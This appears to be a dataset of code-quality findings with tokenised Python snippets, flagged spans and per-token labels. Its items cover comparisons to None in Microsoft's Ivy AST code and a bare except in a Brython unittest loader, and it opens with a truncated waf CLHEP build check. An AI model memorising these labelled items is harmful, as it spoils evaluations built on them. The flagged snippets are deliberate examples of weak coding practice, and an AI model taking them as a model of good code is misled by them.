"P", "-", "Ref", "Count", "\\", "10", ";", " ", " ", " ", " ", "CL", "HE", "P", "-", "Vector", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "lib_", "in_", "cl", "hep", "\\u", "libs_", "._", "split_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "libname", "_", "=_", "lib_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", "in_", "(_", "'", "INCLUDE", "S", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "LIB", "PATH", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "LINK", "FLAG", "S", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "k_", "=_", "'%", "s", "\\u", "CL", "HE", "P", "'_", "%_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "env_", "[_", "k_", "]_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sanitize", " ", "paths_", "\\u\\u\\uNL\\u\\u\\u_", "p_", "._", "replace_", "(_", "\"'\"_", ",_", "\"\"_", ")_", "._", "replace_", "(_", "'\"'_", ",_", "''_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "p_", "in_", "ctx_", "._", "env_", "[_", "k_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "env_", "[_", "'%", "s", "\\u", "%", "s", "'_", "%_", "(_", "n_", ",_", "libname", "_", ")_", "]_", "=_", "ctx_", "._", "env_", "[_", "k_", "]_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mass", "age", " ", "-", "l", "CL", "HE", "P", "-", "$(", "version", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "int", "o", " ", "-", "l", "CL", "HE", "P", "-", "$(", "subli", "b", ")-", "$(", "version", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ctx_", "._", "env_", "[_", "'", "LIB", "\\u", "%", "s", "'_", "%_", "libname", "_", "]_", "=_", "[_", "l_", "._", "replace_", "(_", "'", "CL", "HE", "P", "'_", ",_", "libname", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "l_", "in_", "ctx_", "._", "env_", "[_", "'", "LIB", "\\u", "CL", "HE", "P", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "version_", "=_", "ctx_", "._", "check", "\\u", "cxx", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Check", "ing", " ", "cl", "hep", " ", "version", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ok", "msg_", "=_", "\"", "ok", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fragment_", "=_", "'''", "\\\\", "\\", "10", ";", " ", " ", " ", " ", "#", "include", " ", "\"", "CL", "HE", "P", "/", "Cl", "hep", "Version", ".", "h", "\"", "\\", "10", ";", " ", " ", " ", " ", "#", "include", " ", "<", "ios", "tream", ">", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "int", " ", "main", "(", "int", " ", "argc", ",", " ", "char", "*", " ", "argv", "[]", ")", " ", "{", "\\", "10", ";", " ", " ", "std", "::", "cout", " ", "<<", " ", "CL", "HE", "P", "::", "Version", "::", "String", "();", "\\", "10", ";", " ", " ", "return", " ", "0", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "'''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "use_", "=_", "\"", "CL", "HE", "P", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "defin", "e\\u", "name_", "=_", "\"", "HW", "AF", "\\u", "CL", "HE", "P", "\\u", "VERSI", "ON", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "defin", "e\\u", "ret_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "execute_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mandatory_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "start", "\\u", "msg_", "(_", "\"", "cl", "hep", " ", "version", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "end", "\\u", "msg_", "(_", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ctx_", "._", "env_", "._", "CL", "HE", "P", "\\u", "VERSION_", "=_", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "env_", "._", "HW", "AF", "\\u", "FO", "UND", "\\u", "CL", "HE", "P_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
Microsoft/ivy/src/ivy/ivy_ast.py
[ { "content": " def rewrite_atom(self,atom):\n return compose_atoms(self.pref,atom) if self.pref and (self.to_pref == None or atom.rep in self.to_pref) else atom", "metadata": "root.AstRewriteSubstPrefix.rewrite_atom", "header": "['class', 'AstRewriteSubstPrefix', '(', 'object', ')', ':', '___EOS___']", "index": 688 }, { "content": "def ast_rewrite(x,rewrite):\n if isinstance(x,str):\n return rewrite.rewrite_name(x)\n if isinstance(x,list):\n return [ast_rewrite(e,rewrite) for e in x]\n if isinstance(x,tuple):\n return tuple(ast_rewrite(e,rewrite) for e in x)\n if isinstance(x,Variable):\n return Variable(x.rep,rewrite.rewrite_name(x.sort))\n if isinstance(x,Atom) or isinstance(x,App):\n# print \"rewrite: x = {!r}, type(x.rep) = {!r}\".format(x,type(x.rep))\n atom = type(x)(rewrite.rewrite_name(x.rep),ast_rewrite(x.args,rewrite))\n copy_attributes_ast(x,atom)\n if hasattr(x,'sort'):\n atom.sort = rewrite.rewrite_name(x.sort)\n return rewrite.rewrite_atom(atom)\n if isinstance(x,Literal):\n return Literal(x.polarity,ast_rewrite(x.atom,rewrite))\n if isinstance(x,Quantifier):\n return type(x)(ast_rewrite(x.bounds,rewrite),ast_rewrite(x.args[0],rewrite))\n if hasattr(x,'rewrite'):\n return x.rewrite(rewrite)\n if isinstance(x,LabeledFormula):\n arg0 = x.args[0]\n if x.args[0] == None:\n if isinstance(rewrite,AstRewriteSubstPrefix) and rewrite.pref != None:\n arg0 = Atom(rewrite.pref,[])\n else:\n arg0 = rewrite.rewrite_atom(x.args[0])\n res = x.clone([arg0,ast_rewrite(x.args[1],rewrite)])\n return res\n if hasattr(x,'args'):\n return x.clone(ast_rewrite(x.args,rewrite)) # yikes!\n print \"wtf: {} {}\".format(x,type(x))\n assert False", "metadata": "root.ast_rewrite", "header": "['module', '___EOS___']", "index": 707 }, { "content": "def compose_atoms(pr,atom):\n if atom == None:\n return pr\n hname = compose_names(pr.rep,atom.rep)\n args = pr.args + atom.args\n res = type(atom)(hname,args)\n copy_attributes_ast(atom,res)\n return res", "metadata": "root.compose_atoms", "header": "['module', '___EOS___']", "index": 796 }, { "content": " def __exit__(self,exc_type, exc_val, exc_tb):\n if isinstance(exc_val,ivy_logic.Error):\n# assert False\n raise IvyError(self.ast,str(exc_val))\n if exc_type == IvyError and exc_val.lineno == None and hasattr(self.ast,'lineno'):\n if isinstance(self.ast.lineno,tuple):\n exc_val.filename, exc_val.lineno = self.ast.lineno\n else:\n exc_val.lineno = self.ast.lineno\n return False # don't block any exceptions", "metadata": "root.ASTContext.__exit__", "header": "['class', 'ASTContext', '(', 'object', ')', ':', '___EOS___']", "index": 830 } ]
[ { "span": "self.to_pref == None ", "start_line": 689, "start_column": 63, "end_line": 689, "end_column": 83 }, { "span": "x.args[0] == None:", "start_line": 731, "start_column": 11, "end_line": 731, "end_column": 28 }, { "span": "atom == None:", "start_line": 797, "start_column": 7, "end_line": 797, "end_column": 19 }, { "span": "exc_val.lineno == None ", "start_line": 834, "start_column": 36, "end_line": 834, "end_column": 58 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "Ast", "Rewrite", "Subst", "Prefix_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rewrite", "\\u", "atom_", "(_", "self_", ",_", "atom_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "compose", "\\u", "atoms_", "(_", "self_", "._", "pref_", ",_", "atom_", ")_", "if_", "self_", "._", "pref_", "and_", "(_", "self_", "._", "to", "\\u", "pref_", "==_", "None_", "or_", "atom_", "._", "rep_", "in_", "self_", "._", "to", "\\u", "pref_", ")_", "else_", "atom_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ast", "\\u", "rewrite", "_", "(_", "x_", ",_", "rewrite", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "x_", ",_", "str_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "rewrite", "_", "._", "rewrite", "\\u", "name_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "x_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "ast", "\\u", "rewrite", "_", "(_", "e_", ",_", "rewrite", "_", ")_", "for_", "e_", "in_", "x_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "x_", ",_", "tuple_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "tuple_", "(_", "ast", "\\u", "rewrite", "_", "(_", "e_", ",_", "rewrite", "_", ")_", "for_", "e_", "in_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "x_", ",_", "Variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Variable_", "(_", "x_", "._", "rep_", ",_", "rewrite", "_", "._", "rewrite", "\\u", "name_", "(_", "x_", "._", "sort_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "x_", ",_", "Atom_", ")_", "or_", "isinstance_", "(_", "x_", ",_", "App_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "\"", "rewrite", ":", " ", "x", " ", "=", " ", "{", "!", "r", "},", " ", "type", "(", "x", ".", "rep", ")", " ", "=", " ", "{", "!", "r", "}\"", ".", "format", "(", "x", ",", "type", "(", "x", ".", "rep", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "atom_", "=_", "type_", "(_", "x_", ")_", "(_", "rewrite", "_", "._", "rewrite", "\\u", "name_", "(_", "x_", "._", "rep_", ")_", ",_", "ast", "\\u", "rewrite", "_", "(_", "x_", "._", "args_", ",_", "rewrite", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "copy", "\\u", "attribute", "s", "\\u", "ast_", "(_", "x_", ",_", "atom_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "x_", ",_", "'", "sort", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "atom_", "._", "sort_", "=_", "rewrite", "_", "._", "rewrite", "\\u", "name_", "(_", "x_", "._", "sort_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "rewrite", "_", "._", "rewrite", "\\u", "atom_", "(_", "atom_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "x_", ",_", "Literal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Literal_", "(_", "x_", "._", "polarity", "_", ",_", "ast", "\\u", "rewrite", "_", "(_", "x_", "._", "atom_", ",_", "rewrite", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "x_", ",_", "Quanti", "fier", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "type_", "(_", "x_", ")_", "(_", "ast", "\\u", "rewrite", "_", "(_", "x_", "._", "bounds_", ",_", "rewrite", "_", ")_", ",_", "ast", "\\u", "rewrite", "_", "(_", "x_", "._", "args_", "[_", "0_", "]_", ",_", "rewrite", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "x_", ",_", "'", "rewrite", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "x_", "._", "rewrite", "_", "(_", "rewrite", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "x_", ",_", "Label", "ed", "Formula_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arg0_", "=_", "x_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "x_", "._", "args_", "[_", "0_", "]_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "rewrite", "_", ",_", "Ast", "Rewrite", "Subst", "Prefix_", ")_", "and_", "rewrite", "_", "._", "pref_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arg0_", "=_", "Atom_", "(_", "rewrite", "_", "._", "pref_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arg0_", "=_", "rewrite", "_", "._", "rewrite", "\\u", "atom_", "(_", "x_", "._", "args_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "x_", "._", "clone_", "(_", "[_", "arg0_", ",_", "ast", "\\u", "rewrite", "_", "(_", "x_", "._", "args_", "[_", "1_", "]_", ",_", "rewrite", "_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "res_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "x_", ",_", "'", "args", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "x_", "._", "clone_", "(_", "ast", "\\u", "rewrite", "_", "(_", "x_", "._", "args_", ",_", "rewrite", "_", ")_", ")_", "#", " ", "yi", "kes", "!", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "wtf", ":", " ", "{}", " ", "{}\"_", "._", "format_", "(_", "x_", ",_", "type_", "(_", "x_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "compose", "\\u", "atoms_", "(_", "pr_", ",_", "atom_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "atom_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "pr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hna", "me_", "=_", "compose", "\\u", "names_", "(_", "pr_", "._", "rep_", ",_", "atom_", "._", "rep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "pr_", "._", "args_", "+_", "atom_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "type_", "(_", "atom_", ")_", "(_", "hna", "me_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "copy", "\\u", "attribute", "s", "\\u", "ast_", "(_", "atom_", ",_", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "res_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "AST", "Context_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "exit\\u\\u_", "(_", "self_", ",_", "exc", "\\u", "type_", ",_", "exc", "\\u", "val_", ",_", "exc", "\\u", "tb_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "exc", "\\u", "val_", ",_", "iv", "y", "\\u", "logic_", "._", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "assert", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Iv", "y", "Error_", "(_", "self_", "._", "ast_", ",_", "str_", "(_", "exc", "\\u", "val_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "exc", "\\u", "type_", "==_", "Iv", "y", "Error_", "and_", "exc", "\\u", "val_", "._", "lineno_", "==_", "None_", "and_", "hasattr_", "(_", "self_", "._", "ast_", ",_", "'", "linen", "o", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "self_", "._", "ast_", "._", "lineno_", ",_", "tuple_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exc", "\\u", "val_", "._", "filename_", ",_", "exc", "\\u", "val_", "._", "lineno_", "=_", "self_", "._", "ast_", "._", "lineno_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exc", "\\u", "val_", "._", "lineno_", "=_", "self_", "._", "ast_", "._", "lineno_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "#", " ", "don", "'", "t", " ", "block", " ", "any", " ", "exceptions_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
amrdraz/kodr/app/brython/www/src/Lib/unittest/loader.py
[ { "content": " def _find_tests(self, start_dir, pattern):\n \"\"\"Used by discovery. Yields test suites it loads.\"\"\"\n paths = os.listdir(start_dir)\n\n for path in paths:\n full_path = os.path.join(start_dir, path)\n if os.path.isfile(full_path):\n if not VALID_MODULE_NAME.match(path):\n # valid Python identifiers only\n continue\n if not self._match_path(path, full_path, pattern):\n continue\n # if the test file matches, load it\n name = self._get_name_from_path(full_path)\n try:\n module = self._get_module_from_name(name)\n except:\n yield _make_failed_import_test(name, self.suiteClass)\n else:\n mod_file = os.path.abspath(getattr(module, '__file__', full_path))\n realpath = _jython_aware_splitext(os.path.realpath(mod_file))\n fullpath_noext = _jython_aware_splitext(os.path.realpath(full_path))\n if realpath.lower() != fullpath_noext.lower():\n module_dir = os.path.dirname(realpath)\n mod_name = _jython_aware_splitext(os.path.basename(full_path))\n expected_dir = os.path.dirname(full_path)\n msg = (\"%r module incorrectly imported from %r. Expected %r. \"\n \"Is this module globally installed?\")\n raise ImportError(msg % (mod_name, module_dir, expected_dir))\n yield self.loadTestsFromModule(module)\n elif os.path.isdir(full_path):\n if not os.path.isfile(os.path.join(full_path, '__init__.py')):\n continue\n\n load_tests = None\n tests = None\n if fnmatch(path, pattern):\n # only check load_tests if the package directory itself matches the filter\n name = self._get_name_from_path(full_path)\n package = self._get_module_from_name(name)\n load_tests = getattr(package, 'load_tests', None)\n tests = self.loadTestsFromModule(package, use_load_tests=False)\n\n if load_tests is None:\n if tests is not None:\n # tests loaded from package file\n yield tests\n # recurse into the package\n for test in self._find_tests(full_path, pattern):\n yield test\n else:\n try:\n yield load_tests(self, tests, pattern)\n except Exception as e:\n yield _make_failed_load_tests(package.__name__, e,\n self.suiteClass)", "metadata": "root.TestLoader._find_tests", "header": "['class', 'TestLoader', '(', 'object', ')', ':', '___EOS___']", "index": 245 } ]
[ { "span": "except:", "start_line": 261, "start_column": 16, "end_line": 261, "end_column": 23 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Test", "Loader_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "find", "\\u", "tests_", "(_", "self_", ",_", "start", "\\u", "dir_", ",_", "pattern_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Us", "ed", " ", "by", " ", "discove", "ry", ".", " ", "Yi", "elds", " ", "test", " ", "suites", " ", "it", " ", "load", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "paths_", "=_", "os_", "._", "listdir_", "(_", "start", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "path_", "in_", "paths_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "full", "\\u", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "start", "\\u", "dir_", ",_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "full", "\\u", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "VALID", "\\u", "MODUL", "E", "\\u", "NAME_", "._", "match_", "(_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "valid", " ", "Pyth", "on", " ", "identifi", "ers", " ", "only_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "\\u", "match", "\\u", "path_", "(_", "path_", ",_", "full", "\\u", "path_", ",_", "pattern_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "the", " ", "test", " ", "file", " ", "matche", "s", ",", " ", "load", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "name", "\\u", "from", "\\u", "path_", "(_", "full", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "module_", "=_", "self_", "._", "\\u", "get", "\\u", "module", "\\u", "from", "\\u", "name_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "yield_", "\\u", "make", "\\u", "fail", "ed", "\\u", "import", "\\u", "test_", "(_", "name_", ",_", "self_", "._", "suit", "e", "Class_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "mod", "\\u", "file_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "getattr_", "(_", "module_", ",_", "'\\u", "\\u", "file", "\\u\\u'_", ",_", "full", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "realpath_", "=_", "\\u", "jy", "tho", "n", "\\u", "awa", "re", "\\u", "splitext_", "(_", "os_", "._", "path_", "._", "realpath_", "(_", "mod", "\\u", "file_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "full", "path", "\\u", "noe", "xt_", "=_", "\\u", "jy", "tho", "n", "\\u", "awa", "re", "\\u", "splitext_", "(_", "os_", "._", "path_", "._", "realpath_", "(_", "full", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "realpath_", "._", "lower_", "(_", ")_", "!=_", 